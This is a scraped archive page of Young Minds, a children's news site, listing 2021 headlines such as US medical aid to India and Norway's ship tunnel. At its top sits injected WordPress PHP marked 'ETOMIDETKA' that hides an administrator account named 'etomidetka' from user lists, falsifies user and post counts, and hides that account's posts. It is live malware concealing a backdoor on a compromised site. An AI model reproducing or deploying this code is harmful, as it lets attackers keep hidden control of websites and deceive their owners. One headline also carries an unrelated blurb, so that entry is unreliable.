//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 15

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 15)
US to rush medical supplies worth over $100 million to India

US to rush medical supplies worth over $100 million to India

The US is delivering supplies worth over $100 million in the coming days to India to provide urgent relief as the country battles a new wave of COVID-19 …

April 30, 2021 | Main News
BYJU’S & Jio Platforms in TIME’s first-ever list of 100 Most Influential Companies

BYJU’S & Jio Platforms in TIME’s first-ever list of 100 Most Influential Companies

Bengaluru-based edtech unicorn BYJU’S and Reliance Industries’ technology arm Jio Platforms have featured in TIME Magazine’s first-ever list of ‘100 …

April 30, 2021 | Main News
Vanita Gupta scripts history as first Indian-American to be US’ associate attorney general

Vanita Gupta scripts history as first Indian-American to be US’ associate attorney general

Prominent Indian-American civil rights lawyer Vanita Gupta has been confirmed by the US Senate as associate attorney general, making her the first person of …

April 23, 2021 | Main News
CBSE Cancels Class 10 Board Exams

CBSE Cancels Class 10 Board Exams

Google has announced a series of pledges to fund and promote coronavirus vaccinations across the globe. Google said that it will fund vaccinations for 2.5 lakh …

April 23, 2021 | Main News
Russian President Putin signs law allowing him to stay in power till 2036

Russian President Putin signs law allowing him to stay in power till 2036

Russian President Vladimir Putin has signed into law, a change to the country’s constitution that will allow him to run for two more six-year terms, granting …

April 9, 2021 | Main News
China limits parliament to patriots

China limits parliament to patriots

China has passed sweeping changes to Hong Kong’s electoral rules which will tighten its control over the city. The number of directly elected seats in …

April 2, 2021 | Main News
The world’s first ship tunnel to be built in Norway

The world’s first ship tunnel to be built in Norway

Norway has received the go-ahead to construct the world’s first ship tunnel to help vessels navigate the treacherous Stadhavet Sea. First announced a few …

March 26, 2021 | Main News
India Builds the World’s Highest Chenab Railway Bridge in Jammu & Kashmir

India Builds the World’s Highest Chenab Railway Bridge in Jammu & Kashmir

The world’s highest rail bridge on the Chenab river in Jammu and Kashmir’s Reasi district, which will provide direct connectivity to Kashmir Valley is in …

March 19, 2021 | Main News
Scientists discover new rocky Super-Earth planet

Scientists discover new rocky Super-Earth planet

A ‘super-Earth’ exoplanet with a surface temperature slightly cooler than Venus may have an atmosphere able to host alien life, according to a new study. …

March 12, 2021 | Main News
Kohli becomes 1st Indian, 1st Asian, 1st cricketer to reach 100 mn Instagram followers

Kohli becomes 1st Indian, 1st Asian, 1st cricketer to reach 100 mn Instagram followers

Team India captain Virat Kohli has become the first Indian, first Asian and the first cricketer to reach 100 million followers on Instagram. In the last 30 …

March 5, 2021 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds